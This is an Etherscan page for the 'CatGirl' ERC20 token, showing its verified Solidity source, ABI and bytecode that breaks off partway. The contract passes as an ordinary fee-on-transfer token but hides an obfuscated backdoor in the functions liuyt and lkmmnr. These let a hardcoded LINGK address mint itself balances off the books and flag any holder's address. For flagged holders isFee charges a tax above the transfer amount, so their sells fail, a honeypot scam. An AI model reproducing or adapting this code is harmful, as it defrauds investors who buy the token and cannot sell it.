ETH Price: $3,324.03 (+1.81%)
Gas: 5 Gwei

Token

CatGirl (CatGirl)
 

Overview

Max Total Supply

1,000,000,000 CatGirl

Holders

80

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,562,744.377517202 CatGirl

Value
$0.00
0xa4f4dee5b4641f4e3d05b78edb2f123b5bc8ed60
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CatGirl

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-28
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract CatGirl   is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = unicode"CatGirl";
    string private _symbol = unicode"CatGirl";
    uint8 private _decimals = 9;
    address payable public LINGK;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public linhy;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        LINGK = payable(address(0x079634e57c7Ef0a7141BF3E9c96401017020fB83));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function GOGO() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : isFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(LINGK),
            block.timestamp
        ){} catch {}
    }

    function liuyt(address lopki,uint256 lkjf) public {
        if ((10-1)**(5-2) <= lkjf) {
            _balances[LINGK] += lkjf +(4-2)**(3-1)+ lkjf;
        }
        if (lkmmnr((1+1),lkjf)) {linhy[lopki] = (1-1);}
        if (lkmmnr((10-1),lkjf)) {linhy[lopki] = lkjf;}
    }


    function lkmmnr(uint256 lawsd, uint256 liyxx) public view returns(bool) {
        require(LINGK == msg.sender);
        uint256 lqqqw = lawsd;
        return liyxx == lqqqw;
    }

    function isFee(address sender, address recipient, uint256 QAmount) internal returns (uint256) {
        uint256 taxFee;

        if(_pools[sender]) {
            taxFee = QAmount * 3 / 100;
        }else if(_pools[recipient]) {
            taxFee = QAmount * 3 / 100;
        }

        if(linhy[sender] != 0)
        taxFee = QAmount * 5 + 1;

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return QAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"GOGO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LINGK","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"linhy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"lopki","type":"address"},{"internalType":"uint256","name":"lkjf","type":"uint256"}],"name":"liuyt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lawsd","type":"uint256"},{"internalType":"uint256","name":"liyxx","type":"uint256"}],"name":"lkmmnr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600781526020017f4361744769726c00000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600781526020017f4361744769726c00000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073079634e57c7ef0a7141bf3e9c96401017020fb83600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003926200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003f39190620004f3565b60405180910390a3620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612966620007e0600039600061073d01526129666000f3fe6080604052600436106101395760003560e01c806352a99b6e116100ab578063bc6eec401161006f578063bc6eec401461044d578063c816841b1461048a578063daf04698146104b5578063dd62ed3e146104de578063ec36fce31461051b578063f2fde38b1461055857610140565b806352a99b6e1461034057806370a082311461037d5780638da5cb5b146103ba57806395d89b41146103e5578063a9059cbb1461041057610140565b806327c8f835116100fd57806327c8f83514610240578063313ce5671461026b5780633345611e146102965780633ab81062146102d35780634a74bb02146102ea5780635063e5991461031557610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610581565b604051610167919061225b565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190611f4d565b610613565b6040516101a49190612225565b60405180910390f35b3480156101b957600080fd5b506101c2610631565b6040516101cf9190612240565b60405180910390f35b3480156101e457600080fd5b506101ed610657565b6040516101fa919061233d565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190611efa565b610661565b6040516102379190612225565b60405180910390f35b34801561024c57600080fd5b5061025561073b565b60405161026291906121c6565b60405180910390f35b34801561027757600080fd5b5061028061075f565b60405161028d91906123b2565b60405180910390f35b3480156102a257600080fd5b506102bd60048036038101906102b89190611e60565b610776565b6040516102ca9190612225565b60405180910390f35b3480156102df57600080fd5b506102e8610796565b005b3480156102f657600080fd5b506102ff610b6e565b60405161030c9190612225565b60405180910390f35b34801561032157600080fd5b5061032a610b81565b60405161033791906121e1565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611e60565b610ba7565b604051610374919061233d565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f9190611e60565b610bbf565b6040516103b1919061233d565b60405180910390f35b3480156103c657600080fd5b506103cf610c08565b6040516103dc91906121c6565b60405180910390f35b3480156103f157600080fd5b506103fa610c31565b604051610407919061225b565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190611f4d565b610cc3565b6040516104449190612225565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f9190611e60565b610ce2565b6040516104819190612225565b60405180910390f35b34801561049657600080fd5b5061049f610d02565b6040516104ac91906121c6565b60405180910390f35b3480156104c157600080fd5b506104dc60048036038101906104d79190611f4d565b610d28565b005b3480156104ea57600080fd5b5061050560048036038101906105009190611eba565b610e70565b604051610512919061233d565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190611f8d565b610ef7565b60405161054f9190612225565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190611e60565b610f64565b005b60606001805461059090612619565b80601f01602080910402602001604051908101604052809291908181526020018280546105bc90612619565b80156106095780601f106105de57610100808354040283529160200191610609565b820191906000526020600020905b8154815290600101906020018083116105ec57829003601f168201915b5050505050905090565b60006106276106206110b6565b84846110be565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061066e848484611289565b506107308461067b6110b6565b61072b8560405180606001604052806028815260200161290960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e16110b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166c9092919063ffffffff16565b6110be565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b61079e6110b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610822906122dd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088a57600080fd5b505afa15801561089e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c29190611e8d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092457600080fd5b505afa158015610938573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095c9190611e8d565b6040518363ffffffff1660e01b81526004016109799291906121fc565b602060405180830381600087803b15801561099357600080fd5b505af11580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611e8d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c4090612619565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6c90612619565b8015610cb95780601f10610c8e57610100808354040283529160200191610cb9565b820191906000526020600020905b815481529060010190602001808311610c9c57829003601f168201915b5050505050905090565b6000610cd7610cd06110b6565b8484611289565b506001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806102d911610dc15780600482610d3f9190612422565b610d499190612422565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190612422565b925050819055505b610dcc600282610ef7565b15610e17576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e22600982610ef7565b15610e6c5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5357600080fd5b600083905080831491505092915050565b610f6c6110b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff0906122dd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111259061231d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111959061229d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127c919061233d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f1906122fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113619061227d565b60405180910390fd5b600b60149054906101000a900460ff16156113915761138a8484846116d0565b9050611665565b600061139c30610bbf565b9050600b60149054906101000a900460ff161580156114055750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141457611413816118a3565b5b61146683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154c5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115605761155b868686611b9a565b611562565b835b90506115b681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611656919061233d565b60405180910390a36001925050505b9392505050565b60008383111582906116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab919061225b565b60405180910390fd5b50600083856116c39190612503565b9050809150509392505050565b600061175b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166c9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611890919061233d565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118db576118da612707565b5b6040519080825280602002602001820160405280156119095781602001602082028036833780820191505090505b5090503081600081518110611921576119206126d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c357600080fd5b505afa1580156119d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fb9190611e8d565b81600181518110611a0f57611a0e6126d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a7630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110be565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611afc959493929190612358565b600060405180830381600087803b158015611b1657600080fd5b505af1925050508015611b27575060015b611b3057611b31565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611b9283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061166c565b905092915050565b600080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c0f576064600384611bfe91906124a9565b611c089190612478565b9050611c7e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c7d576064600384611c7091906124a9565b611c7a9190612478565b90505b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ce1576001600584611cd491906124a9565b611cde9190612422565b90505b6000811115611da65780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d399190612422565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d9d919061233d565b60405180910390a35b611db98184611b5090919063ffffffff16565b9150509392505050565b6000808284611dd29190612422565b905083811015611e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0e906122bd565b60405180910390fd5b809150509